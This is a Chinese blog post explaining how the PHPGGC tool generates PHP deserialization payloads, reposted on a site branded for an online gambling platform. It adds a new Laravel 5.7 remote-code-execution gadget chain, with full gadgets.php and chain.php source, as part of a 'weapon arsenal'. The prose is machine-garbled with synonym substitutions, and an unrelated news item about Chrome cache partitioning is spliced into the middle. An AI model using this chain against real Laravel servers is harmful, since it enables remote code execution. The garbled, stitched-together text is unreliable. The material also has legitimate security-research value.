实战东西:PHPGGC详解 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

实战东西:PHPGGC详解

申博_安全防护 申博 33次浏览 未收录 0个评论

媒介

在之前我们剖析了php下序列化进击的一些知识点:

由浅入深剖析序列化进击(一)

由浅入深剖析序列化进击(二)

由浅入深剖析序列化进击(三)

本日我们来剖析一下php序列化的武器库:PHPGGC。

PHPGGC 是一款能够自动天生主流框架的序列化测试payload的东西,相似 Java 中的 ysoserial,支撑大批主流框架的序列化exp一键天生。

但由于东西作者的时刻有限,不能做到及时更新。而本文旨在剖析phpggc道理,并为其增加拓展,以便我们到场最新的,自身须要的exp天生模块。

phpggc流程剖析

当我们运转:

phpggc Laravel/RCE1 system id

我们跟踪一下详细流程。

初始化流程

实战东西:PHPGGC详解

在建立对象时,我们下断点,发明起首顺序会举行load_gadget_chains():

实战东西:PHPGGC详解

紧接着顺序会寻觅定义说明过的class:

实战东西:PHPGGC详解

实战东西:PHPGGC详解

经由array_filter,将顺序自身组织的gadget掏出:

$classes = array_filter($classes, function($class) {
            return is_subclass_of($class, '\\PHPGGC\\GadgetChain') &&
                   strpos($class, 'GadgetChain\\') === 0;
        });

实战东西:PHPGGC详解

然后是掏出模块名:

实战东西:PHPGGC详解

我们跟进get_name(),就能够发明,比方:GadgetChain\ZendFramework\FD1经由处剖析变成ZendFramework/FD1:

实战东西:PHPGGC详解

然后将模块名与类说明构成映照关联:

$gcs = array_combine($names, $classes);

实战东西:PHPGGC详解

至此为止,初始化历程完成。

exp天生

然后初始化完成后,我们胜利建立了PHPGGC对象x,然后挪用其generate要领举行exp天生:

$x->generate();

起首是从我们的cmdline猎取剧本运转参数,并将其剖析:

实战东西:PHPGGC详解

比方我们此时剖析出的参数:

实战东西:PHPGGC详解

Chrome添加HTTP缓存分区以阻止旁道攻击

谷歌计划在Chrome网络浏览器中添加一项新的安全功能,指在阻止潜在的攻击者通过滥用浏览器的HTTP缓存启动旁道攻击并跟踪用户活动。 新功能通过top frame origin(或subframe origin)标识对HTTP缓存进行分区,从而阻止document感知到跨域资源的缓存状态。 这种方法可以防止攻击者利用他们控制的恶意站点发起旁道攻击,以检测他们的目标访问过的另一个站点是否在他们的Web浏览器缓存中。 根据“分区HTTP缓存”安全功能的Chrome平台状态条目,缓存攻击可能会触发以下类型的信息泄漏: · 检测用户是否访问过特定站点:如果缓存的资源只存在于特定站点或特定群组的站点,则攻击

同时假如发明我们没有input参数,就会友好性的打出help界面。

然后代码就会来到gadget chain的猎取:

$gc = $this->get_gadget_chain($class);

实战东西:PHPGGC详解

这里就用到了之前的模块名和类名的映照关联,经由过程我们传入的模块名敏捷找到已说明的类。

然后在须要时,再将其包括进来:

实战东西:PHPGGC详解

我们跟进该函数:

实战东西:PHPGGC详解

依据定名划定规矩,顺序会在其目次gadgetchains下寻觅对应文件夹,比方我们对应的目次为:

/phpggc/gadgetchains/Laravel/RCE/1

然后猎取其目次下的gadgets.php,拿到对应的类的定义。

然后就是应用我们定义的chain.php组织序列化了:

$parameters = $this->get_type_parameters($gc, $parameters);
$generated = $this->serialize($gc, $parameters);

起首顺序会拿出我们传进去的参数,然后在chain.php中天生序列化的时刻运用:

实战东西:PHPGGC详解

我们关注一下chain.php:

实战东西:PHPGGC详解

比方我们运用的Laravel/RCE1的chain.php,个中的函数名和参数名都是靠我们传入的。

如许便能杀青天生指定敕令实行的序列化组织的目标。

实战东西:PHPGGC详解

末了顺序会将我们的效果输出。

拓展

由于phpggc具有很好的拓展性,我们能够将现有已知的exp集成到场,这里就以之前很火的Laravel反序列化RCE为例:

phpggc自身供应了新建敕令:

./phpggc --new Laravel RCE

运转后phpggc会按划定规矩自动天生以下目次:

/phpggc/gadgetchains/Laravel/RCE/5

我们根据划定规矩组织gadgets.php和chain.php:

gadgets.php

<?php
namespace Illuminate\Foundation\Testing{
class PendingCommand{
protected $command;
protected $parameters;
protected $app;
public $test;
public function __construct($command, $parameters,$class,$app)
    {
        $this->command = $command;
        $this->parameters = $parameters;
        $this->test=$class;
        $this->app=$app;
    }
}
}
namespace Illuminate\Auth{
class GenericUser{
protected $attributes;
public function __construct(array $attributes){
        $this->attributes = $attributes;
    }
}
}
namespace Illuminate\Foundation{
class Application{
protected $hasBeenBootstrapped = false;
protected $bindings;
public function __construct($bind){
$this->bindings=$bind;
}
}
}
?>

chain.php

<?php
namespace GadgetChain\Laravel;
class RCE5 extends \PHPGGC\GadgetChain\RCE
{
    public static $version = '5.7';
    public static $vector = '__destruct';
    public static $author = 'sky';
    public function generate(array $parameters)
    {
    $function = $parameters['function'];
        $parameter = $parameters['parameter'];
        return new \Illuminate\Foundation\Testing\PendingCommand(
$function,
array($parameter),
new \Illuminate\Auth\GenericUser(
array("expectedOutput"=>array("0"=>"1"),"expectedQuestions"=>array("0"=>"1"))
),
new \Illuminate\Foundation\Application(
array("Illuminate\Contracts\Console\Kernel"=>array("concrete"=>"Illuminate\Foundation\Application"))
)
);
    }
}

然后我们运转起来,能够看到在模块和类的映照关联中,已经有了我们的RCE5:

实战东西:PHPGGC详解

运转一下,即可直接拿到exp:

实战东西:PHPGGC详解

跋文

phpggc供应非常好的可拓展性,我们能够按此将其打造成自身专属的武器库,实战碰到再也不怕惊慌失措啦!

原文地点: https://www.4hou.com/web/19523.html


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明实战东西:PHPGGC详解
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址